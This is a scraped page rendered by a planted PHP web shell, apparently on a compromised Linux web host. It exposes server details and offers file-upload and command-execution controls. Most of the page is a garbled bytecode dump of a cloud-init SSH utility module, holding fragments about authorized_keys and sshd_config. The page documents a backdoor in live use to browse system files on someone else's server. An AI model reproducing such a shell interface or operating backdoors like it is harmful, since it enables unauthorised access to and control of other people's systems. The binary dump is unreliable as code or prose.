403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/__pycache__/ssh_util.cpython-36.pyc
3

?q,d�N�@s�ddlZddlZddlmZddlmZeje�ZdZ	d>Z
dZdee�dZ
Gdd�de�ZGd d!�d!e�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Ze	fd.d/�Zd?d0d1�ZGd2d3�d3e�Zd4d5�Zd6d7�Zd8d9�Ze	fd:d;�Zd<d=�ZdS)@�N)�log)�utilz/etc/ssh/sshd_config�dsa�rsa�ecdsa�ed25519�(ecdsa-sha2-nistp256-cert-v01@openssh.com�ecdsa-sha2-nistp256�(ecdsa-sha2-nistp384-cert-v01@openssh.com�ecdsa-sha2-nistp384�(ecdsa-sha2-nistp521-cert-v01@openssh.com�ecdsa-sha2-nistp521�+sk-ecdsa-sha2-nistp256-cert-v01@openssh.com�"sk-ecdsa-sha2-nistp256@openssh.com�#sk-ssh-ed25519-cert-v01@openssh.com�sk-ssh-ed25519@openssh.com�ssh-dss-cert-v01@openssh.com�ssh-dss� ssh-ed25519-cert-v01@openssh.com�ssh-ed25519�ssh-rsa-cert-v01@openssh.com�ssh-rsa�ssh-xmss-cert-v01@openssh.com�ssh-xmss@openssh.com�z�no-port-forwarding,no-agent-forwarding,no-X11-forwarding,command="echo 'Please login as the user \"$USER\" rather than the user \"$DISABLE_USER\".';echo;sleep 10;exit �"c@s&eZdZddd�Zdd�Zdd�ZdS)	�AuthKeyLineNcCs"||_||_||_||_||_dS)N)�base64�comment�options�keytype�source)�selfr!r rrr�r#�/usr/lib/python3.6/ssh_util.py�__init__Fs
zAuthKeyLine.__init__cCs|jo
|jS)N)rr )r"r#r#r$�validOszAuthKeyLine.validcCsdg}|jr|j|j�|jr(|j|j�|jr:|j|j�|jrL|j|j�|sV|jSdj|�SdS)N� )r�appendr rrr!�join)r"�toksr#r#r$�__str__RszAuthKeyLine.__str__)NNNN)�__name__�
__module__�__qualname__r%r&r+r#r#r#r$rEs
rc@s"eZdZdZdd�Zddd�ZdS)�AuthKeyLineParsera�
    AUTHORIZED_KEYS FILE FORMAT
     AuthorizedKeysFile specifies the file containing public keys for public
     key authentication; if none is specified, the default is
     ~/.ssh/authorized_keys.  Each line of the file contains one key (empty
     (because of the size of the public key encoding) up to a limit of 8 kilo-
     bytes, which permits DSA keys up to 8 kilobits and RSA keys up to 16
     kilobits.  You don't want to type them in; instead, copy the
     identity.pub, id_dsa.pub, or the id_rsa.pub file and edit it.

     sshd enforces a minimum RSA key modulus size for protocol 1 and protocol
     2 keys of 768 bits.

     The options (if present) consist of comma-separated option specifica-
     tions.  No spaces are permitted, except within double quotes.  The fol-
     lowing option specifications are supported (note that option keywords are
     case-insensitive):
    cCs�d}d}x~|t|�kr�|s&||d	kr�||}|dt|�krH|d}P||d}|dkrn|dkrn|d}n|dkr||}|d}q
W|d|�}||d�j�}||fS)
z�
        The options (if present) consist of comma-separated option specifica-
         tions.  No spaces are permitted, except within double quotes.
         Note that option keywords are case-insensitive.
        Frr'�	��\rN)r'r0)�len�lstrip)r"�entZquoted�iZcurcZnextcr�remainr#r#r$�_extract_optionsvs 
z"AuthKeyLineParser._extract_optionsNcCs�|jd�}|jd�s |j�dkr(t|�Sdd�}|j�}y||�\}}}WnZtk
r�|j|�\}	}
|dkrt|	}y||
�\}}}Wntk
r�t|�SXYnXt|||||d�S)Nz
�#�cSs^|jdd�}t|�dkr(tdt|���|dtkrDtd|d��t|�dkrZ|jd�|S)N�zTo few fields: %srzInvalid keytype %sr:)�splitr3�	TypeError�VALID_KEY_TYPESr()r5r*r#r#r$�
parse_ssh_key�s
z.AuthKeyLineParser.parse.<locals>.parse_ssh_key)r rrr)�rstrip�
startswith�striprr=r8)r"Zsrc_liner�liner?r5r rrZkeyoptsr7r#r#r$�parse�s*
zAuthKeyLineParser.parse)N)r,r-r.�__doc__r8rDr#r#r#r$r/bsr/c
Cs�g}t�}g}xp|D]h}y<tjj|�rRtj|�j�}x|D]}|j|j|��q:WWqt	t
fk
rztjtd|�YqXqW|S)NzError reading lines from %s)
r/�os�path�isfiler�	load_file�
splitlinesr(rD�IOError�OSError�logexc�LOG)�fnames�lines�parser�contents�fnamerCr#r#r$�parse_authorized_keys�s

rTcCs�tdd�|D��}x`tdt|��D]N}||}|j�s8q"x.|D]&}|j|jkr>|}||kr>|j|�q>W|||<q"Wx|D]}|j|�qzWdd�|D�}|jd�dj|�S)NcSsg|]}|j�r|�qSr#)r&)�.0�kr#r#r$�
<listcomp>�sz*update_authorized_keys.<locals>.<listcomp>rcSsg|]}t|��qSr#)�str)rU�br#r#r$rW�sr:�
)�list�ranger3r&r�remover(r))Zold_entries�keysZto_addr6r5rV�keyrPr#r#r$�update_authorized_keys�s 


r`cCs8tj|�}|s|jr$td|��tjj|jd�|fS)Nz"Unable to get SSH info for user %rz.ssh)�pwd�getpwnam�pw_dir�RuntimeErrorrFrGr))�username�pw_entr#r#r$�users_ssh_info�s
rgc	Csxd|fd|fdf}|sd}|j�}g}xL|D]D}x|D]\}}|j||�}q6W|jd�sftjj||�}|j|�q,W|S)Nz%hz%u�%%�%z%h/.ssh/authorized_keys�/)rhri)r<�replacerArFrGr)r()	�valueZhomedirreZmacros�pathsZrenderedrGZmacroZfieldr#r#r$�render_authorizedkeysfile_paths�s

rnc
Cs�d}|rd}tj|�}|r@||kr@|dkr@tjd||||�dStj|�}||kr\|dM}n.tj|�}tj|�}	||	kr�|dM}n|dM}||@d	kr�tjd
|||�dS|r�|d@d	kr�tjd||�dSd
S)aVCheck if the file/folder in @current_path has the right permissions.

    We need to check that:
    1. If StrictMode is enabled, the owner is either root or the user
    2. the user can access the file/folder, otherwise ssh won't use it
    3. If StrictMode is enabled, no write permission is given to group
       and world users (022)
    i�i��rootzXPath %s in %s must be own by user %s or by root, but instead is own by %s. Ignoring key.Fi��8�rzBPath %s in %s must be accessible by user %s, check its permissions�zRPath %s in %s must not give writepermission to group or world users. Ignoring key.T)rZ	get_ownerrN�debugZget_permissionsZ	get_groupZget_user_groups)
reZcurrent_path�	full_path�is_file�strictmodesZminimal_permissions�ownerZparent_permissionZgroup_ownerZuser_groupsr#r#r$�check_permissionssD





rxcCs�t|�d}td�d}�y�|jd�dd�}d}tjj|j�}x�|D]�}|d|7}tjj|�rrtjd|�dStjj	|�r�tjd|�dS|j
|�sF||jkr�qFtjj|��stj
|��Pd}	|j}
|j}|j
|j�r�d	}	|j}
|j}tj||	d
d�tj||
|�WdQRXt|||d|�}|sFdSqFWtjj|��sJtjj|��rZtjd|�dStjj|��s�tj|dd
d
d�tj||j|j�t|||d
|�}|�s�dSWn6ttfk
�r�}
ztjtt|
��dSd}
~
XnXd
S)Nr1rorjr:z-Invalid directory. Symlink exists in path: %sFz*Invalid directory. File exists in path: %si�i�T)�mode�exist_okz%s is not a file!i�)ryZensure_dir_exists���)rgr<rFrG�dirnamerc�islinkrNrsrHrA�existsr�SeLinuxGuardZpw_uidZpw_gid�makedirsZ	chownbyidrx�isdir�
write_filerKrLrMrX)re�filenamervZ
user_pwentZ
root_pwentZdirectoriesZ
parent_folderZhome_folderZ	directoryryZuid�gidZpermissions�er#r#r$�check_create_pathHsb


r�c
Cs"t|�\}}tjj|d�}|}g}tj|dd��ny2t|�}|jdd�}|jdd�}	t||j	|�}Wn4t
tfk
r�||d<tjt
d	t|d�YnXWdQRXxXt|j�|�D]F\}
}td
|
kd|
k|jdj|j	��g�r�t|||	dk�}|r�|}Pq�W||k�rt
jd
|�|t|g�fS)NZauthorized_keysT)�	recursiveZauthorizedkeysfilez%h/.ssh/authorized_keysrv�yesrzhFailed extracting 'AuthorizedKeysFile' in SSH config from %r, using 'AuthorizedKeysFile' file %r insteadz%uz%hz{}/zAAuthorizedKeysFile has an user-specific authorized_keys, using %s)rgrFrGr)rr�parse_ssh_config_map�getrnrcrKrLrMrN�DEF_SSHD_CFG�zipr<�anyrA�formatr�rsrT)
reZ
sshd_cfg_file�ssh_dirrfZdefault_authorizedkeys_fileZuser_authorizedkeys_fileZauth_key_fnsZssh_cfgZ	key_pathsrvZkey_path�auth_key_fnZpermissions_okr#r#r$�extract_authorized_keys�sF
r�c
Cs�t�}g}x$|D]}|j|jt|�|d��qWt|�\}}tjj|�}tj	|dd�� t
||�}	tj||	dd�WdQRXdS)N)rT)r�)�
preserve_mode)r/r(rDrXr�rFrGr|rrr`r�)
r^rerrQZkey_entriesrVr�Zauth_key_entriesr�Zcontentr#r#r$�setup_user_keys�s

r�c@s*eZdZddd�Zedd��Zdd�ZdS)	�SshdConfigLineNcCs||_||_||_dS)N)rC�_keyrl)r"rCrV�vr#r#r$r%�szSshdConfigLine.__init__cCs|jdkrdS|jj�S)N)r��lower)r"r#r#r$r_�s
zSshdConfigLine.keycCs>|jdkrt|j�St|j�}|jr6|dt|j�7}|SdS)Nr')r�rXrCrl)r"r�r#r#r$r+�s


zSshdConfigLine.__str__)NN)r,r-r.r%�propertyr_r+r#r#r#r$r��s
r�cCs"tjj|�sgSttj|�j��S)N)rFrGrH�parse_ssh_config_linesrrIrJ)rSr#r#r$�parse_ssh_config�sr�cCs�g}x�|D]�}|j�}|s&|jd�r6|jt|��q
y|jdd�\}}WnLtk
r�y|jdd�\}}Wn"tk
r�tjd|�w
YnXYnX|jt|||��q
W|S)Nr9r1�=z;sshd_config: option "%s" has no key/value pair, skipping it)rBrAr(r�r<�
ValueErrorrNrs)rP�retrCr_�valr#r#r$r��s$
r�cCs:t|�}|siSi}x |D]}|js&q|j||j<qW|S)N)r�r_rl)rSrPr�rCr#r#r$r�s
r�cCsHt|�}t||d�}|r<tj|djdd�|D��ddd�t|�dkS)z�Read fname, and update if changes are necessary.

    @param updates: dictionary of desired values {Option: value}
    @return: boolean indicating if an update was done.)rP�updatesrZcSsg|]}t|��qSr#)rX)rUrCr#r#r$rW-sz%update_ssh_config.<locals>.<listcomp>T)r�r)r��update_ssh_config_linesrr�r)r3)r�rSrP�changedr#r#r$�update_ssh_config#sr�c	Cst�}g}tdd�|j�D��}x�t|dd�D]v\}}|js>q.|j|kr.||j}||}|j|�|j|kr�tjd|||�q.|j	|�tjd|||j|�||_q.Wt
|�t
|�k�r
xN|j�D]B\}}||kr�q�|j	|�|j	td||��tjdt
|�||�q�W|S)	z�Update the SSH config lines per updates.

    @param lines: array of SshdConfigLine.  This array is updated in place.
    @param updates: dictionary of desired values {Option: value}
    @return: A list of keys in updates that were changed.cSsg|]}|j�|f�qSr#)r�)rUrVr#r#r$rW=sz+update_ssh_config_lines.<locals>.<listcomp>r1)�startz$line %d: option %s already set to %sz#line %d: option %s updated %s -> %sr:z line %d: option %s added with %s)
�set�dictr^�	enumerater_�addrlrNrsr(r3�itemsr�)	rPr��foundr�Zcasemapr6rCr_rlr#r#r$r�3s<






r�)rrrrrr	r
rrr
rrrrrrrrrrrr)N)rFraZ	cloudinitrZloggingrZ	getLoggerr,rNr�r>Z_DISABLE_USER_SSH_EXITrXZDISABLE_USER_OPTS�objectrr/rTr`rgrnrxr�r�r�r�r�r�r�r�r�r#r#r#r$�<module>	sZ
YEO9


Youez - 2016 - github.com/yon3zu
LinuXploit